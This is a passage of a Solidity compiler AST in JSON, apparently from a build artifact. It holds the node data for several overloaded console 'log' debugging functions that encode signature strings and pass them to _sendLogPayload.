view"}},"id":21893,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51556:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21894,"nodeType":"ExpressionStatement","src":"51556:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51486:3:14","parameters":{"id":21882,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21875,"mutability":"mutable","name":"p0","nameLocation":"51495:2:14","nodeType":"VariableDeclaration","scope":21896,"src":"51490:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21874,"name":"bool","nodeType":"ElementaryTypeName","src":"51490:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21877,"mutability":"mutable","name":"p1","nameLocation":"51504:2:14","nodeType":"VariableDeclaration","scope":21896,"src":"51499:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21876,"name":"bool","nodeType":"ElementaryTypeName","src":"51499:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21879,"mutability":"mutable","name":"p2","nameLocation":"51516:2:14","nodeType":"VariableDeclaration","scope":21896,"src":"51508:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21878,"name":"address","nodeType":"ElementaryTypeName","src":"51508:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21881,"mutability":"mutable","name":"p3","nameLocation":"51528:2:14","nodeType":"VariableDeclaration","scope":21896,"src":"51520:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21880,"name":"address","nodeType":"ElementaryTypeName","src":"51520:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"51489:42:14"},"returnParameters":{"id":21883,"nodeType":"ParameterList","parameters":[],"src":"51546:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21919,"nodeType":"FunctionDefinition","src":"51659:170:14","nodes":[],"body":{"id":21918,"nodeType":"Block","src":"51725:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e742c75696e7429","id":21910,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51775:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9bfe72bcae17311bf78638487cb2635e8b5b6f81761042494681e890b65ae4df","typeString":"literal_string \"log(bool,address,uint,uint)\""},"value":"log(bool,address,uint,uint)"},{"id":21911,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21898,"src":"51806:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21912,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21900,"src":"51810:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21913,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21902,"src":"51814:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21914,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21904,"src":"51818:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9bfe72bcae17311bf78638487cb2635e8b5b6f81761042494681e890b65ae4df","typeString":"literal_string \"log(bool,address,uint,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21908,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51751:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21909,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51755:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51751:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51751:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21907,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"51735:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21916,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51735:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21917,"nodeType":"ExpressionStatement","src":"51735:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51668:3:14","parameters":{"id":21905,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21898,"mutability":"mutable","name":"p0","nameLocation":"51677:2:14","nodeType":"VariableDeclaration","scope":21919,"src":"51672:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21897,"name":"bool","nodeType":"ElementaryTypeName","src":"51672:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21900,"mutability":"mutable","name":"p1","nameLocation":"51689:2:14","nodeType":"VariableDeclaration","scope":21919,"src":"51681:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21899,"name":"address","nodeType":"ElementaryTypeName","src":"51681:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21902,"mutability":"mutable","name":"p2","nameLocation":"51698:2:14","nodeType":"VariableDeclaration","scope":21919,"src":"51693:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21901,"name":"uint","nodeType":"ElementaryTypeName","src":"51693:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21904,"mutability":"mutable","name":"p3","nameLocation":"51707:2:14","nodeType":"VariableDeclaration","scope":21919,"src":"51702:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21903,"name":"uint","nodeType":"ElementaryTypeName","src":"51702:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"51671:39:14"},"returnParameters":{"id":21906,"nodeType":"ParameterList","parameters":[],"src":"51725:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21942,"nodeType":"FunctionDefinition","src":"51835:181:14","nodes":[],"body":{"id":21941,"nodeType":"Block","src":"51910:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e742c737472696e6729","id":21933,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51960:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a0685833a55270d98fa68e8c0a0f64fe3e03f6cdaeaebd8f87342de905392f45","typeString":"literal_string \"log(bool,address,uint,string)\""},"value":"log(bool,address,uint,string)"},{"id":21934,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21921,"src":"51993:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21935,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21923,"src":"51997:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21936,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21925,"src":"52001:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21937,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21927,"src":"52005:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a0685833a55270d98fa68e8c0a0f64fe3e03f6cdaeaebd8f87342de905392f45","typeString":"literal_string \"log(bool,address,uint,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21931,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51936:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21932,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51940:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51936:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21938,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51936:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21930,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"51920:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21939,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51920:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21940,"nodeType":"ExpressionStatement","src":"51920:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51844:3:14","parameters":{"id":21928,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21921,"mutability":"mutable","name":"p0","nameLocation":"51853:2:14","nodeType":"VariableDeclaration","scope":21942,"src":"51848:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21920,"name":"bool","nodeType":"ElementaryTypeName","src":"51848:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21923,"mutability":"mutable","name":"p1","nameLocation":"51865:2:14","nodeType":"VariableDeclaration","scope":21942,"src":"51857:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21922,"name":"address","nodeType":"ElementaryTypeName","src":"51857:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21925,"mutability":"mutable","name":"p2","nameLocation":"51874:2:14","nodeType":"VariableDeclaration","scope":21942,"src":"51869:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21924,"name":"uint","nodeType":"ElementaryTypeName","src":"51869:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21927,"mutability":"mutable","name":"p3","nameLocation":"51892:2:14","nodeType":"VariableDeclaration","scope":21942,"src":"51878:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21926,"name":"string","nodeType":"ElementaryTypeName","src":"51878:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"51847:48:14"},"returnParameters":{"id":21929,"nodeType":"ParameterList","parameters":[],"src":"51910:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21965,"nodeType":"FunctionDefinition","src":"52022:170:14","nodes":[],"body":{"id":21964,"nodeType":"Block","src":"52088:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e742c626f6f6c29","id":21956,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52138:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ee8d8672273fdba9089296874ea62335af7f94273edab558dd69c0c81ad5275f","typeString":"literal_string \"log(bool,address,uint,bool)\""},"value":"log(bool,address,uint,bool)"},{"id":21957,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21944,"src":"52169:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21958,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21946,"src":"52173:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21959,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21948,"src":"52177:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21960,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21950,"src":"52181:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ee8d8672273fdba9089296874ea62335af7f94273edab558dd69c0c81ad5275f","typeString":"literal_string \"log(bool,address,uint,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21954,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52114:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21955,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52118:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52114:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52114:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21953,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"52098:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21962,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52098:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21963,"nodeType":"ExpressionStatement","src":"52098:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52031:3:14","parameters":{"id":21951,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21944,"mutability":"mutable","name":"p0","nameLocation":"52040:2:14","nodeType":"VariableDeclaration","scope":21965,"src":"52035:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21943,"name":"bool","nodeType":"ElementaryTypeName","src":"52035:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21946,"mutability":"mutable","name":"p1","nameLocation":"52052:2:14","nodeType":"VariableDeclaration","scope":21965,"src":"52044:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21945,"name":"address","nodeType":"ElementaryTypeName","src":"52044:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21948,"mutability":"mutable","name":"p2","nameLocation":"52061:2:14","nodeType":"VariableDeclaration","scope":21965,"src":"52056:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21947,"name":"uint","nodeType":"ElementaryTypeName","src":"52056:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21950,"mutability":"mutable","name":"p3","nameLocation":"52070:2:14","nodeType":"VariableDeclaration","scope":21965,"src":"52065:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21949,"name":"bool","nodeType":"ElementaryTypeName","src":"52065:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"52034:39:14"},"returnParameters":{"id":21952,"nodeType":"ParameterList","parameters":[],"src":"52088:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21988,"nodeType":"FunctionDefinition","src":"52198:176:14","nodes":[],"body":{"id":21987,"nodeType":"Block","src":"52267:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e742c6164647265737329","id":21979,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52317:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_68f158b5f9bd826807d19c20c2d71bd298a10503195154a299bf8d64baa18687","typeString":"literal_string \"log(bool,address,uint,address)\""},"value":"log(bool,address,uint,address)"},{"id":21980,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21967,"src":"52351:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21981,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21969,"src":"52355:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":21982,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21971,"src":"52359:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21983,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21973,"src":"52363:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_68f158b5f9bd826807d19c20c2d71bd298a10503195154a299bf8d64baa18687","typeString":"literal_string \"log(bool,address,uint,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21977,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52293:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21978,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52297:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52293:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21984,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52293:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21976,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"52277:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21985,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52277:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21986,"nodeType":"ExpressionStatement","src":"52277:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52207:3:14","parameters":{"id":21974,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21967,"mutability":"mutable","name":"p0","nameLocation":"52216:2:14","nodeType":"VariableDeclaration","scope":21988,"src":"52211:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21966,"name":"bool","nodeType":"ElementaryTypeName","src":"52211:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21969,"mutability":"mutable","name":"p1","nameLocation":"52228:2:14","nodeType":"VariableDeclaration","scope":21988,"src":"52220:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21968,"name":"address","nodeType":"ElementaryTypeName","src":"52220:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21971,"mutability":"mutable","name":"p2","nameLocation":"52237:2:14","nodeType":"VariableDeclaration","scope":21988,"src":"52232:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21970,"name":"uint","nodeType":"ElementaryTypeName","src":"52232:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":21973,"mutability":"mutable","name":"p3","nameLocation":"52249:2:14","nodeType":"VariableDeclaration","scope":21988,"src":"52241:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21972,"name":"address","nodeType":"ElementaryTypeName","src":"52241:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"52210:42:14"},"returnParameters":{"id":21975,"nodeType":"ParameterList","parameters":[],"src":"52267:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22011,"nodeType":"FunctionDefinition","src":"52380:181:14","nodes":[],"body":{"id":22010,"nodeType":"Block","src":"52455:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e672c75696e7429","id":22002,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52505:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0b99fc2207222410afd35c7faf7feba54ff2367ba89f893584c27ce75693de6e","typeString":"literal_string \"log(bool,address,string,uint)\""},"value":"log(bool,address,string,uint)"},{"id":22003,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21990,"src":"52538:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22004,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21992,"src":"52542:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22005,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21994,"src":"52546:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22006,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21996,"src":"52550:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0b99fc2207222410afd35c7faf7feba54ff2367ba89f893584c27ce75693de6e","typeString":"literal_string \"log(bool,address,string,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22000,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52481:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22001,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52485:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52481:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22007,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52481:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21999,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"52465:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22008,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52465:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22009,"nodeType":"ExpressionStatement","src":"52465:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52389:3:14","parameters":{"id":21997,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21990,"mutability":"mutable","name":"p0","nameLocation":"52398:2:14","nodeType":"VariableDeclaration","scope":22011,"src":"52393:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21989,"name":"bool","nodeType":"ElementaryTypeName","src":"52393:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21992,"mutability":"mutable","name":"p1","nameLocation":"52410:2:14","nodeType":"VariableDeclaration","scope":22011,"src":"52402:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21991,"name":"address","nodeType":"ElementaryTypeName","src":"52402:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":21994,"mutability":"mutable","name":"p2","nameLocation":"52428:2:14","nodeType":"VariableDeclaration","scope":22011,"src":"52414:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21993,"name":"string","nodeType":"ElementaryTypeName","src":"52414:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21996,"mutability":"mutable","name":"p3","nameLocation":"52437:2:14","nodeType":"VariableDeclaration","scope":22011,"src":"52432:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21995,"name":"uint","nodeType":"ElementaryTypeName","src":"52432:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"52392:48:14"},"returnParameters":{"id":21998,"nodeType":"ParameterList","parameters":[],"src":"52455:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22034,"nodeType":"FunctionDefinition","src":"52567:192:14","nodes":[],"body":{"id":22033,"nodeType":"Block","src":"52651:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e672c737472696e6729","id":22025,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"